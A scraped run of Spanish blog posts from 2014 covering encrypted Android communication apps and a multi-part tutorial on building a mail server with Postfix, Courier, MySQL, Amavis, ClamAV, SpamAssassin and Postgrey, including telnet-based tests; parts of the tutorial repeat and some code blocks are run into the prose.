En primer lugar, voy a empezar dando una forma para el cifrado de llamadas de voz usando una aplicación. Redphone es un servicio de encriptación end-to-end para llamadas VoIP utilizando el protocolo ZRTP. Gracias a ello, siempre que tengamos una conexión a internet (ya sea por medio de wifi o con datos) tendremos la posibilidad de iniciar una llamada cifrada, imposible de escuchar por nadie más que nuestro interlocutor. Para instalarla en nuestro Android basta con buscar la app en Google Play Store o seguir este enlace desde nuestro terminal:https://play.google.com/store/apps/details?id=org.thoughtcrime.redphone
Tras aceptar los permisos (Usa lo justo y necesario para poder funcionar) ya la tendremos instalada y podremos proceder a registrar nuestro número de teléfono en su primera ejecución. Tras comprobarlo con un SMS, la aplicación estará lista y gracias a una interfaz intuitiva nos permitirá fácilmente conversar con otro usuario de nuestra lista de contactos que también tenga instalado Redphone en su terminal. Si no lo tuviese, la aplicación nos dará la opción de enviarle un SMS a fin de que la instale.
Cifrando SMS, TextSecure.
Esta aplicación, TextSecure, es de los mismos creadores que la anterior; Open Whisper Systems. Se encarga de proporcionarnos un cifrado end-to-end para nuestros mensajes de texto cortos. Al igual que Redphone, nos pedirá el registro del número de teléfono tras su primera ejecución y solo podremos usarla con los contactos que también dispongan de ella.Mensajería instantánea segura, ChatSecure.
ChatSecure se encarga de la privacidad de nuestros servicios de mensajería instantánea (Whatsapp es un ejemplo de mensajería instantánea) siempre y cuando usemos el protocolo XMPP. Tranquilidad, nuestra cuenta de Google posee de este servicio y al arrancar por primera vez, nos será fácil añadir nuestra cuenta junto a nuestros contactos. Es una aplicación intuitiva que utiliza cifrado OTR para preservar nuestras comunicaciones siempre que este esté disponible también para el receptor pero sin necesidad de que use la misma app. También tiene opciones de interacción con Orbot (Aplicación para usar la red TOR en Android que veremos más adelante) y es muy sencilla de utilizar.Mas info: https://ssd.eff.org/es/module/c%C3%B3mo-instalar-y-utilizar-chatsecure
Utilizar VPN, Bitmask.
Lo primero aquí es tener claro qué es una VPN y en Surveillance Self-Defense lo explican bastante bien. Una vez tenemos claro ese punto, BitMask es una aplicación que facilita la conexión a una VPN de calyx.net, oblivia.vc o riseup.net. ¿Que no disponemos de ninguna? No hay problema ya que, una vez elegido el proveedor BitMask nos da la opción de registrarnos con un nombre de usuario y una contraseña.Mas info: https://bitmask.net/es
TOR en Android, Orbot.
Para los que no tengan idea de lo que es la red TOR vengan por aquí. Para el resto, Orbot es una aplicación destinada a facilitar el uso de un proxy TOR para algunas o todas las aplicaciones de nuestro teléfono o tablet. De un modo eficaz, gestionará nuestras conexiones introduciéndolas en un circuito de routers TOR haciendo que nuestra IP sea, si no imposible, muy dificil de averiguar y proporcionándonos un alto nivel de anonimato en la red.Mas info: http://hipertextual.com/archivo/2014/02/tor-android-orbot/
Como nota a todo esto, comentar que son aplicaciones que, para un uso efectivo, requieren ejecutarse en segundo plano a fin de que sigan activas después del bloqueo de la pantalla pudiendo así recibir mensajes o gestionar las conexiones. Permitir esto, en algunos dispositivos, requiere de matizar algún que otro ajuste que depende del terminal. Si la aplicación se cierra automáticamente, busca en internet como permitir la ejecución en segundo plano.
¡Saludos!
miércoles, 12 de noviembre de 2014
Servidor Mail Seguro parte IV
Chequeadores de contenido (Anti Spam & Anti Virus)
Esta cuarta parte de la guía pretende instalar y configurar en nuestro servidor de correo (Que ya debería contar con MySQL para usuarios virtuales, Postfix como agente de correo y Courier como servicio de IMAP) el anti virus ClamAV, las medidas de protección contra spam SpamAssassin y Postgrey y la gestión e implementación en el servidor por parte de Amavisd.Amavis:
Vamos a empezar con Amavisd que permitirá interaccionar a nuestro agente de correo con las herramientas de seguridad dentro de nuestro servidor. Es decir, permitirá transportar el correo de un servicio a otro y canalizarlo después para dejarlo en nuestros buzones de correo.sudo apt-get install amavisd-newLa configuración por defecto en Ubuntu nos vale perfectamente así que nos limitaremos a leer su documentación para entender cómo funciona y echaremos un vistazo sus opciones predefinidas con un cat:
cd /etc/amavis/conf.d/En este directorio podemos ver archivo por archivo la configuración de Amavis pero en principio, nos valen los valores tal como están. Sólo uno de ellos será modificado:
sudo nano /etc/amavisd/50-userAñadimos antes de las 2 lineas finales:
@local_domains_acl = qw(.);Ahora hemos de permitir a Amavis el acceso a los correos para que pueda chequearlos así que nos vamos a reconfigurar Postfix:
$log_level = 2;
$syslog_priority = 'debug';
$sa_tag_level_deflt = 2.0; # add spam info headers if at, or above that level
# $sa_tag2_level_deflt = 6.31; # add 'spam detected' headers at that level
$sa_kill_level_deflt = 8.0; # triggers spam evasive actions
# $sa_dsn_cutoff_level = 10; # spam level beyond which a DSN is not sent
$final_spam_destiny = D_PASS;
# $final_spam_destiny = D_REJECT; # default
# $final_spam_destiny = D_BOUNCE; # debian default
# $final_spam_destiny = D_DISCARD; # ubuntu default, recommended as sender is usually faked
sudo nano /etc/postfix/master.cf
Añadimos las siguientes líneas al final del archivo. Antes conviene asegurarse de que no estén ya presentes. ¡Ojo! Antes de las opciones -o existen dos espacios.
amavis unix - - - - 2 smtpEn el mismo archivo buscamos el servicio pickup y añadimos dos líneas, quedándose así:
-o smtp_data_done_timeout=1200
-o smtp_send_xforward_command=yes
-o disable_dns_lookups=yes
-o max_use=20
127.0.0.1:10025 inet n - - - - smtpd
-o content_filter=
-o local_recipient_maps=
-o relay_recipient_maps=
-o smtpd_restriction_classes=
-o smtpd_delay_reject=no
-o smtpd_client_restrictions=permit_mynetworks,reject
-o smtpd_helo_restrictions=
-o smtpd_sender_restrictions=
-o smtpd_recipient_restrictions=permit_mynetworks,reject
-o smtpd_data_restrictions=reject_unauth_pipelining
-o smtpd_end_of_data_restrictions=
-o mynetworks=127.0.0.0/8
-o smtpd_error_sleep_time=0
-o smtpd_soft_error_limit=1001
-o smtpd_hard_error_limit=1000
-o smtpd_client_connection_count_limit=0
-o smtpd_client_connection_rate_limit=0
-o receive_override_options=no_header_body_checks,no_unknown_recipient_checks
pickup unix n - - 60 1 pickupEn el otro archivo de configuración de Postfix:
-o content_filter=
-o receive_override_options=no_header_body_checks
sudo nano /etc/postfix/main.cfAñadimos la siguiente línea:
content_filter = amavis:[127.0.0.1]:10024Con esta configuración Amavis debería poder tener acceso al correo. Antes de activar el anti virus y el anti spam deberíamos probar que realmente lo tiene. Primero reiniciamos el servicio con un sudo /etc/init.d/amavis restart Ahora hemos de enviar un correo al servidor y buscar en los logs que amavis cumple su función. Recomiendo seguir el Anexo I, en concreto la prueba para ver si Postfix recibe correo conectándonos por telnet y después comprobar syslog con un:
cat /var/log/syslog | grep 'amavisd-new, port 10024'
Si aparece algún resultado, es que Amavis está recibiendo el correo para su chequeo. Si todo va bien, el paso siguiente es activar las opciones del anti virus y del anti spam en su configuración.
sudo nano /etc/amavis/conf.d/15-content_filter_mode
Dónde quitaremos el comentario de las siguientes líneas dejándolo como sigue:
@bypass_virus_checks_maps = (
\%bypass_virus_checks, \@bypass_virus_checks_acl, \$bypass_virus_checks_re);
@bypass_spam_checks_maps = (Si ya hemos hecho la comprobación de funcionamiento de Amavis y todo va como debe, podemos proceder a bajar el nivel de registro que alteramos anteriormente:
\%bypass_spam_checks, \@bypass_spam_checks_acl, \$bypass_spam_checks_re);
sudo nano /etc/amavis/conf.d/50-userEl bloque de configuración que añadimos casi al final cambiará a éste:
@local_domains_acl = qw(.);Hemos terminado con Amavis. Reiniciamos servicio y pasamos a lo siguiente:
$log_level = 1;
$syslog_priority = 'info';
#$sa_tag_level_deflt = 2.0; # add spam info headers if at, or above that level
# $sa_tag2_level_deflt = 6.31; # add 'spam detected' headers at that level
$sa_kill_level_deflt = 8.0; # triggers spam evasive actions
# $sa_dsn_cutoff_level = 10; # spam level beyond which a DSN is not sent
#$final_spam_destiny = D_PASS;
# $final_spam_destiny = D_REJECT; # default
# $final_spam_destiny = D_BOUNCE; # debian default
$final_spam_destiny = D_DISCARD; # ubuntu default, recommended as sender is usually faked
sudo /etc/init.d/amavis restart
SpamAssassin:
SpamAssassin, como su nombre indica, cumple la misión de identificar y eliminar gestionar por nosotros el correo no deseado. Procedemos a instalarlo con:sudo apt-get install spamassassin spamc
La configuración por defecto, una vez más, está bien para empezar y si no deseamos rompernos demasiado la cabeza, la dejaremos tal cual. No obstante, si alguien quiere ir más allá recomiendo un vistazo a su documentación y a la página web del proyecto que he enlazado arriba.
Vamos a configurarlo para que arranque al inicio.
sudo nano /etc/default/spamassassinDónde cambiamos ENABLED para dejarlo como sigue:
ENABLED=1
ClamAV:
ClamAV será nuestro anti virus. Comprobará que nuestros correos estan limpios de malware y otras amenazas (Claro está, en la medida que puede hacerlo un anti virus). Instalamos:sudo apt-get install clamav clamav-base libclamav6 clamav-daemon clamav-freshclamClamAv tampoco necesitas grandes cambios. Podemos ver su configuración en /etc/clamav/ pero en principio será más por curiosidad. Freshclam en cambio quizá necesite un pequeño ajuste. Es el servicio que se encarga de la actualización de la base de datos de virus y por defecto viene configurado para hacerlo una vez cada hora (24 por día) lo cual es algo excesivo.
sudo dpkg-reconfigure clamav-freshclamEsta línea nos llevará a un asistente de configuración en el que podremos cambiar la tasa a 1 así como elegir un servidor cercano y definir las opciones de conexión.
Si estamos animados y con ganas quizá interese usar el asistente de configuración de clam-base para definir opciones pero no es necesario:
sudo dpkg-reconfigure clamav-baseVamos a añadir el usuario clamav a Amavis para que pueda escanear los ficheros temporales.
sudo adduser clamav amavisCon esto está todo. Seguimos con Postgrey.
Postgrey:
Postgrey es una pequeña herramienta que nos ayudará a evitar correo no deseado con el simple acto de retener los correos entrantes de remitentes no conocidos durante 5 minutos. Normalmente, los servidores de correo legítimo reintentarán mandar el correo unas cuantas veces antes de devolver un error, cosa que en un servidor de envío masivo de spam que genera de manera automática las direcciones de remite falsificadas o usa enormes listas de direcciones, no ocurrirá. Esto puede tener el inconveniente de que quizá ciertos correos de confirmación de alta o similares se retrasen un poco pero es un precio muy bajo por mantener lejos el spam.sudo apt-get install postgreyDejamos la configuración por defecto y nos vamos a Postfix para añadir normas de interacción con esta nueva herramienta:
sudo nano /etc/postfix/main.cfY ahí buscamos la linea recipient_restrictions y la dejamos como sigue (Una única línea):
smtpd_recipient_restrictions = reject_unauth_pipelining, permit_mynetworks, permit_sasl_authenticated, reject_non_fqdn_recipient, reject_unknown_recipient_domain, reject_unauth_destination, check_policy_service inet:127.0.0.1:10023, permitListo.
Ahora disponemos de un servidor de correo electrónico avanzado que comprueba los correos en busca de amenazas o spam. No está mal, pero falta algo. A mi juicio lo más importante, el cifrado y la autenticación. En el siguiente post hablaremos sobre ello. Por ahora recomiendo comprobar que todo funciona como debe antes de seguir y dar tiempo a que venga el próximo...
¡Saludos!
miércoles, 5 de noviembre de 2014
Servidor Mail Seguro Anexo I
Posibles errores y soluciones
Es conveniente, en diversos puntos de la guía, pararnos a comprobar el funcionamiento de lo que tenemos configurado hasta el momento, y se hace imprescindible poner todo a prueba antes de abrir los puertos que permitan el acceso público a nuestro servidor. En este apartado vamos a probar el correcto funcionamiento de cada parte de los componentes de nuestro servidor de correo electrónico y las formas de revisar los registros del sistema en caso de fallos, que nos den pistas sobre la posible causa del error.Primero vamos a reiniciar los servicios para que los cambios de configuración surtan efecto:
sudo /etc/init.d/mysql restart
sudo /etc/init.d/postfix restart
sudo /etc/init.d/courier-imap-ssl restart
sudo /etc/init.d/courier-imap restart
sudo /etc/init.d/courier-authdaemon restart
Crear un usuario para las pruebas en la base de datos.
Si venimos de la parte III del manual, todavía no hemos creado ningún usuario virtual, así que, difícilmente vamos a poder poner a prueba nuestro servidor. Vamos a crear un usuario, sea cual sea, que bien nos puede servir solo para probar lo que llevamos hecho hasta ahora y lo eliminaremos cuando hayamos concluido el manual, o bien se puede hacer algo más que un corta y pega, y crear el vuestro propio y definitivo. Vamos a ello.Nos conectamos a la base de datos de nuestro servidor:
mysql -u mail -p maildb
Nos identificamos con la contraseña del usuarios creado para realizar las consultas e introducimos el siguiente código que generará un dominio virtual correspondiente a nuestro propio dominio de internet. Sobra decir que tudominio.com ha de ser una dirección de dominio real.
INSERT INTO domains (domain) VALUESPara el usuario 'test' con contraseña 'test1234'
('tudominio.com');
INSERT INTO users (id,name,maildir,crypt) VALUESY para terminar, creamos entradas en la table de aliases.
('test@tudominio.com','test','test/',encrypt('test1234', CONCAT('$5$', MD5(RAND()))) );
INSERT INTO aliases (mail,destination) VALUESCon aliases, en la primera entrada de la tabla, hemos enlazado la dirección pruebas@tudominio.com con la dirección del usuario test. La segunda entrada es para que se dé como final la dirección test@tudominio.com
('pruebas@tudominio.com','test@tudominio.com'),
('test@tudominio.com','test@tudominio.com');
Recuerda que para ver las tablas se usa el comando describe seguido del nombre de la tabla a mostrar. Para eliminar una entrada se usa; DELETE FROM seguido del nombre de la tabla WHERE y la condición, es decir, columna = fila. Por ejemplo: DELETE FROM users WHERE name = 'test'
Con esto queda configurado el usuario de prueba. Lo recordaré al final de la guía pero no está de más hacerlo aquí también. Si has usado el nombre de usuario y la contraseña del ejemplo,
NO OLVIDES ELIMINAR LA ENTRADA EN LA TABLA ANTES DE EXPONER EL SERVIDOR A INTERNET.
Comprobando el funcionamiento del servidor MTA (Postfix):
¿Puede Postfix recibir correo? Esto es lo primero que vamos a averiguar. Para ello nos vamos a servir de Telnet, que nos permitirá realizar una conexión manual al puerto de escucha SMTP.telnet localhost 25
Si todo va bien, el servidor nos contestará con el código 220 seguido de su nombre y el prompt quedará esperando nuestra respuesta:
chaosnet@lamula:~$ telnet localhost 25
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 lamula.thedarknode.es ESMTP Postfix (Ubuntu)
# Introducimos el saludo
EHLO lamula.thedarknode.es
250-lamula.thedarknode.es
250-PIPELINING
250-SIZE 10240000
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
# La respuesta anterior del servidor puede variar según lo que
# tengamos configurado hasta ahora.
# Ahora indicamos al servidor que queremos dejar un correo e indicamos
# su dirección de origen. No tiene por qué ser real para las pruebas.
MAIL FROM: <test@dominiodeprueba.com>
250 2.1.0 Ok
# Si todo va bien nos devolverá un Ok y seguiremos con la dirección de destino
RCPT TO: <chaosnet@thedarknode.es>
250 2.1.5 Ok
# Otro Ok nos sirve para pasar al comando para dar el contenido del mensaje.
data
354 End data with <CR><LF>.<CR><LF>
# Escribimos en cuerpo y salimos con una linea de un solo punto
Esto es una prueba de recepción de correo para nuestro servidor Postfix.
Visita http://blog.thedarknode.es !!
.
250 2.0.0 Ok: queued as 2629A581177
# Tras un nuevo Ok indicándonos que el mensaje a sido aceptado y puesto
# en cola, cerramos la conexión con un;Esto, si lo acompañamos en otra terminal de un
quit
221 2.0.0 Bye
Connection closed by foreign host.
chaosnet@lamula:~$
tail -f -n 30 /var/log/mail.logY abrimos una tercera para:
tail -f -n 30 /var/log/mysql/mysql.logNos debería bastar para ver los errores que pudiese haber en nuestra configuración.
¿Puede Postfix enviar correo? Vamos a comprobarlo:
chaosnet@lamula:~$ telnet localhost 25
...
Connected to localhost.
Escape character is '^]'.
220 lamula.thedarknode.es ESMTP Postfix (Ubuntu)
EHLO lamula.thedarknode.es
250-lamula.thedarknode.es
250-PIPELINING
...
# Aquí esta vez damos una dirección válida en nuestro servidor
MAIL FROM: <chaosnet@thedarknode.es>
250 2.1.0 Ok
# Y aquí dejamos una dirección en internet a la que tengamos accesoComprobando el registro de /var/log/mail.log y nuestra cuenta de correo a la que enviamos el mensaje, verificaremos si hay errores y cuales son.
RCPT TO: <mail@real.com>
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
Esto es una prueba de envio de correo para nuestro servidor Postfix.
Visita http://blog.thedarknode.es !!
.
250 2.0.0 Ok: queued as 85EE2581189
quit
221 2.0.0 Bye
Connection closed by foreign host.
Comprobando Courier.
Antes de proceder con esta comprobación tenemos que estar seguros de que Postix puede enviar y recibir correo correctamente. Si ya lo has comprobado, procedemos a enviar una conexión telnet al puerto IMAP 143.chaosnet@lamula:~$ telnet localhost 143Si la salida es parecida a esa, el demonio está escuchando de manera correcta, de lo contrario habría que revisar los logs.
Trying ::1...
Connected to localhost.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA AUTH=CRAM-MD5 AUTH=CRAM-SHA1 IDLE ACL ACL2=UNION STARTTLS] Courier-IMAP ready. Copyright 1998-2011 Double Precision, Inc. See COPYING for distribution information.
El resto ha de ser probado por un cliente de correo externo cuando se abra el servidor a internet.
Si existe algún problema que no saben resolver, recomiendo en primer lugar repasar la configuración en busca de pasos omitidos o errores tipográficos.
Saludos y hasta la próxima.
Servidor Mail Seguro parte III
Servidor IMAP
Continuando con ésta guía para montar nuestro propio servidor de correo seguro cara a internet, y habiendo ya configurado MySQL para montar nuestra base de datos de usuarios y dominios virtuales en la primera parte, y configurado Postfix con su módulo MySQL en la segunda, pasamos a instalar y configurar Courier como servidor IMAP.Internet Message Access Protocol (IMAP, Protocolo de acceso a mensajes de internet) es un protocolo que nos permitirá acceder de manera remota o local a nuestros buzones de correo y de esta manera gestionar con un cliente (Thunderbird, Zimbra, Balsa, Evolution... (Sí, tambien Outlook, malditos)) nuestras carpetas de recibidos y enviados.
El servicio que se encargará de esta tarea será Courier. Lo instalaremos junto con su demonio de autenticación y su plugin para MySQL.
sudo apt-get install courier-base courier-authdaemon courier-authlib-mysql courier-imap courier-imap-ssl courier-sslCuando nos pregunte sobre dividir la configuración en sub-directorios le diremos que no e inmediatamente después obviaremos el mensaje de configuración SSL aceptándolo.
Procedemos a editar el archivo de configuración del demonio de autenticación:
sudo nano /etc/courier/authdaemonrcY cambiamos la cambiamos la variable authmodelist:
authmodulelist="authmysql"Además, como medida temporal, habilitaremos los logs del demonio a nivel 2 para facilitarnos la depuración en caso de futuros errores que pudiesen aparecer.
DEBUG_LOGIN=2Ahora vamos a asegurar que la lista de authmysql esté bien configurada:
sudo nano /etc/courier/authmysqlrcAquí debemos buscar los campos que acreditan al demonio a consultar la base de datos que creamos anteriormente en MySQL:
MYSQL_SERVER localhostPor lo general, en Ubuntu solo necesitaremos cambiar las variables MYSQL_USERNAME y MYSQL_PASSWORD.
MYSQL_USERNAME mail
MYSQL_PASSWORD mailPASS # Contraseña que establecimos para el
# usuario mail en MySQL
MYSQL_PORT 0
MYSQL_OPT 0
MYSQL_DATABASE maildb
MYSQL_USER_TABLE users
MYSQL_CRYPT_PWFIELD crypt
#MYSQL_CLEAR_PWFIELD clear
MYSQL_UID_FIELD uid
MYSQL_GID_FIELD gid
MYSQL_LOGIN_FIELD id
MYSQL_HOME_FIELD home
MYSQL_NAME_FIELD name
MYSQL_MAILDIR_FIELD concat(home,'/',maildir)
MYSQL_WHERE_CLAUSE enabled=1
Con esto ya tendríamos un servidor de correo simple perfectamente configurado. No obstante es poco o nada seguro ya que no usa cifrados para comunicarse ni le hemos implementado medidas anti-spam ni anti-virus.
Si se desea, se le puede echar un vistazo al archivo /etc/courier/imapd para comprobar su configuración. No obstante, éste no requiere ningún cambio.
Llegados a este punto, nos debemos plantear el probar el funcionamiento del servidor, antes de continuar con las implementaciones más avanzadas. Para hoy mismo, si no me surge ningún imprevisto, crearé un anexo a esta guía para implementar un usuario, dominio y alias virtual en nuestra base de datos y poner a prueba la emisión, recepción y autenticación en Postfix y Courier.
La próxima entrada nos meteremos con temas de configuración un poco más avanzada que implementará los chequeadores de contenido, es decir, el anti-spam y el anti-virus.
Saludos y ya sabéis, para cualquier duda o corrección, a comentar.
martes, 4 de noviembre de 2014
Servidor Mail Seguro parte II
Continuando con la guía comenzada en el post anterior para montar un servidor de correo sobre TLS con usuarios virtuales, seguridad anti-spam y anti-virus, hoy le toca a la configuración del MTA o Mail Transport Agent que traducido del inglés, se entiende como la capa de transporte del correo.
El programa que utilizaremos como MTA será Postfix, y ejecutará las labores de dirigir tanto el correo entrante como el saliente a otros servicios que autentiquen el usuario y dirección y finalmente y si procede, a la carpeta que almacenará nuestro correo o a internet buscando el servidor de destino en caso de ser correo saliente. Postfix (http://www.postfix.org/) es un servidor de correo electrónico open source originalmente escrito por Wietse Venema en febrero de 2001 y que ya va por la versión 2.10. Es más rápido, seguro y fácil de administrar que su competidor en sistemas Linux, Sendmail.
Para realizar la instalación y la de los módulos que permitirán su interacción con la base de datos MySQL que tratamos en el anterior post ejecutaremos es siguiente comando en el servidor Ubuntu.
El prompt cambiará y nos mostrará un dialogo en el que elegiremos "sitio de internet" como tipo de servidor y a continuación escogeremos el nombre del servidor (que no del dominio), normalmente el de nuestro host.
Ahora empezamos a configurar postfix. Crearemos un archivo en /etc/mailname que contendrá el nombre del servidor de correo (en mi caso smpt.thedarknode.es).
Escribimos en la primera linea el nombre del servidor, salimos con CTRL+X y guardamos. Comenzaremos ahora con el archivo principal de configuración de Postfix ubicado en /etc/postfix/main.cf :
En este archivo cambiaremos varias lineas y otras estarán configuradas de serie en nuevas versiones, por si a caso, mejor asegurarse:
En la opción "smtpd_banner" podemos editar el texto de bienvenida que dará el servidor a las conexiones. Por defecto Ubuntu muestra una cadena compuesta por el nombre del host y en nombre del servidor mail seguido de "(Ubuntu)" Conviene no especificar demasiada información en este campo a fin de dificultar la labor de recopilación de información por posibles hackers. Con esta línea es suficiente:
La siguiente linea corresponde al origen anexado en los correos. Este puede ser un nombre completo o un nombre de dominio:
Para seguir primero necesitamos hacer una pequeña elección. Se trata de quén va a sacar los correos salientes, es decir, si usarás un servidor SMTP externo o será Postfix el encargado de hacerlo. Usar un servidor externo hace que tu correo no sea marcado como spam por listas negras ya que muchas no dejan que las IPs dinámicas actúen como servidores. Además el servidor tendrá menos trabajo. Por otra parte, enviaro nosotros mismos nuestro correo hace que nuestro servidor no dependa de terceras partes con lo que aumentamos el grado de privacidad. De todos modos, aquí solo reflejaré la linea para indicar a postfix que él se encargará del correo saliente. Para usar un ISP externo, basta con añadir la dirección de éste en la siguiente variable:
Vamos con los detalles de la red. Estas líneas le dicen a Postfix que va a escuchar en cualquier interfaz de red, confiar solo en localhost y tratar exclusivamente con protocolo IPv4.
En cuanto al correo saliente, la siguiente opción, permite enmascarar las direcciones de salida. Normalmente no queremos que la dirección de envio que sale de nuestro servidor sea el nombre completo de un host (mail.ejemplo.com o www.ejemplo.es) y las lineas siguientes permiten una lista de direcciones que serán enmascaradas con el nombre del dominio exclusivamente. La segunda trata las excepciones:
Como vamos a usar usuarios y dominios virtuales, las siguientes lineas han de estar como siguen:
Ahora procedemos a cambiar una serie de parámetros:
Alguna restricción más. Cuidado con las lineas enteras.
Ahora la configuración para las consultas y los mapas de aliases y dominios virtuales:
Salimos de Nano y guardamos main.conf . Ahora vamos a copiar el archivo aliases desde /etc/ .
Vamos a crear las carpetas y gestionar los permisos de éstas para los buzones de correo, también añadiremos un usuario y un grupo al sistema que se encargará de copiar y manejar archivos, llamado virtual:
Un saludo y para cualquier cosita, a comentar se ha dicho.
El programa que utilizaremos como MTA será Postfix, y ejecutará las labores de dirigir tanto el correo entrante como el saliente a otros servicios que autentiquen el usuario y dirección y finalmente y si procede, a la carpeta que almacenará nuestro correo o a internet buscando el servidor de destino en caso de ser correo saliente. Postfix (http://www.postfix.org/) es un servidor de correo electrónico open source originalmente escrito por Wietse Venema en febrero de 2001 y que ya va por la versión 2.10. Es más rápido, seguro y fácil de administrar que su competidor en sistemas Linux, Sendmail.
Para realizar la instalación y la de los módulos que permitirán su interacción con la base de datos MySQL que tratamos en el anterior post ejecutaremos es siguiente comando en el servidor Ubuntu.
sudo apt-get install postfix postfix-mysql
El prompt cambiará y nos mostrará un dialogo en el que elegiremos "sitio de internet" como tipo de servidor y a continuación escogeremos el nombre del servidor (que no del dominio), normalmente el de nuestro host.
Ahora empezamos a configurar postfix. Crearemos un archivo en /etc/mailname que contendrá el nombre del servidor de correo (en mi caso smpt.thedarknode.es).
sudo nano /etc/mailname
Escribimos en la primera linea el nombre del servidor, salimos con CTRL+X y guardamos. Comenzaremos ahora con el archivo principal de configuración de Postfix ubicado en /etc/postfix/main.cf :
sudo nano /etc/postfix/main.cf
En este archivo cambiaremos varias lineas y otras estarán configuradas de serie en nuevas versiones, por si a caso, mejor asegurarse:
# La siguiente linea se comenta ya que por defecto Postfix buscará en nombre
# del servidor en el archivo /etc/mailname
#myhostname = mail.example.com
En la opción "smtpd_banner" podemos editar el texto de bienvenida que dará el servidor a las conexiones. Por defecto Ubuntu muestra una cadena compuesta por el nombre del host y en nombre del servidor mail seguido de "(Ubuntu)" Conviene no especificar demasiada información en este campo a fin de dificultar la labor de recopilación de información por posibles hackers. Con esta línea es suficiente:
smtpd_banner = $myhostname ESMTP $mail_name
La siguiente linea corresponde al origen anexado en los correos. Este puede ser un nombre completo o un nombre de dominio:
#myorigin = /etc/mailname
myorigin = tudominio.com
Para seguir primero necesitamos hacer una pequeña elección. Se trata de quén va a sacar los correos salientes, es decir, si usarás un servidor SMTP externo o será Postfix el encargado de hacerlo. Usar un servidor externo hace que tu correo no sea marcado como spam por listas negras ya que muchas no dejan que las IPs dinámicas actúen como servidores. Además el servidor tendrá menos trabajo. Por otra parte, enviaro nosotros mismos nuestro correo hace que nuestro servidor no dependa de terceras partes con lo que aumentamos el grado de privacidad. De todos modos, aquí solo reflejaré la linea para indicar a postfix que él se encargará del correo saliente. Para usar un ISP externo, basta con añadir la dirección de éste en la siguiente variable:
relayhost =
Vamos con los detalles de la red. Estas líneas le dicen a Postfix que va a escuchar en cualquier interfaz de red, confiar solo en localhost y tratar exclusivamente con protocolo IPv4.
inet_interfaces = all
mynetworks_style = host
inet_protocols=ipv4
En cuanto al correo saliente, la siguiente opción, permite enmascarar las direcciones de salida. Normalmente no queremos que la dirección de envio que sale de nuestro servidor sea el nombre completo de un host (mail.ejemplo.com o www.ejemplo.es) y las lineas siguientes permiten una lista de direcciones que serán enmascaradas con el nombre del dominio exclusivamente. La segunda trata las excepciones:
masquerade_domains = mail.ejemplo.es smtp.ejemplo.es www.ejemplo.es
masquerade_exceptions = root
Como vamos a usar usuarios y dominios virtuales, las siguientes lineas han de estar como siguen:
mydestination =
local_recipient_maps =
Ahora procedemos a cambiar una serie de parámetros:
# Cuánto tiempo si hay no entregados antes de enviar la actualización
# de advertencia al remitente
delay_warning_time = 4h
# Tipo de error, temporal o permanente
unknown_local_recipient_reject_code = 450
# Cuanto tiempo en la cola antes de entregar mensaje fallido.
maximal_queue_lifetime = 7d
# Tiempo max y min en seg entre reintentos si la conexión falla
minimal_backoff_time = 1000s
maximal_backoff_time = 8000s
# Cuanto tiempo de espera de helo antes de recibir el resto de datos
smtp_helo_timeout = 60s
# Límite de direcciones que pueden ser usadas en un mensaje.
# efectivo parando spammers masivos y copias accidentales de listas
smtpd_recipient_limit = 16
# Cuantos errores antes de retroceder.
smtpd_soft_error_limit = 3
# Cuántos errores antes de bloquear.
smtpd_hard_error_limit = 12
Alguna restricción más. Cuidado con las lineas enteras.
# Requirements for the HELO statement
smtpd_helo_restrictions = permit_mynetworks, warn_if_reject reject_non_fqdn_hostname, reject_invalid_hostname, permit
# Requirements for the sender details
smtpd_sender_restrictions = permit_sasl_authenticated, permit_mynetworks, warn_if_reject reject_non_fqdn_sender, reject_unknown_sender_domain, reject_unauth_pipelining, permit
# Requirements for the connecting server
smtpd_client_restrictions = reject_rbl_client sbl.spamhaus.org, reject_rbl_client blackholes.easynet.nl
# Requirement for the recipient address
smtpd_recipient_restrictions = reject_unauth_pipelining, permit_mynetworks, permit_sasl_authenticated, reject_non_fqdn_recipient, reject_unknown_recipient_domain, reject_unauth_destination, check_policy_service inet:127.0.0.1:10023, permit
smtpd_data_restrictions = reject_unauth_pipelining
# require proper helo at connections
smtpd_helo_required = yes
# waste spammers time before rejecting them
smtpd_delay_reject = yes
disable_vrfy_command = yes
Ahora la configuración para las consultas y los mapas de aliases y dominios virtuales:
alias_maps = hash:/etc/postfix/aliases
alias_database = hash:/etc/postfix/aliases
# Esto especifica donde están los directorios de los buzones virtuales
virtual_mailbox_base = /var/spool/mail/virtual
# Localización de los buzones para cada usuario
virtual_mailbox_maps = mysql:/etc/postfix/mysql_mailbox.cf
# Alias virtuales
virtual_alias_maps = mysql:/etc/postfix/mysql_alias.cf
# domain lookups
virtual_mailbox_domains = mysql:/etc/postfix/mysql_domains.cf
# UID y GID para los archivos de correo creados
virtual_uid_maps = static:5000
virtual_gid_maps = static:5000
Salimos de Nano y guardamos main.conf . Ahora vamos a copiar el archivo aliases desde /etc/ .
sudo cp /etc/aliases /etc/postfix /etc/postfix/aliases
sudo postalias /etc/postfix/aliases
Vamos a crear las carpetas y gestionar los permisos de éstas para los buzones de correo, también añadiremos un usuario y un grupo al sistema que se encargará de copiar y manejar archivos, llamado virtual:
sudo mkdir /var/spool/mail/virtual
sudo groupadd --system virtual -g 5000
sudo useradd --system virtual -u 5000 -g 5000
sudo chown -R virtual:virtual /var/spool/mail/virtual
Configuración MySQL para Postfix.
Tal como le indicamos a postfix para resolver los dominios y alias virtuales, ahora tenemos que crear unos archivos con datos de conexión a MySQL que le permitan acceder a nuestras bases de datos. Son tres ficheros, uno para los buzones (mysql_mailbox.cf) otro para alias (mysql_alias.cf) y el último para dominios (mysql_domains.cf).sudo nano /etc/postfix/mysql_mailbox.cf
user=mail # Nombre del usuario mysql que creamos anteriormente
password=mailPASS #Su password
dbname=maildb
table=users
select_field=maildir
where_field=id
hosts=127.0.0.1
additional_conditions = and enabled = 1
sudo nano /etc/postfix/mysql_alias.cf
user=mail
password=mailPASS
dbname=maildb
table=aliases
select_field=destination
where_field=mail
hosts=127.0.0.1
additional_conditions = and enabled = 1
sudo nano /etc/postfix/mysql_domains.cf
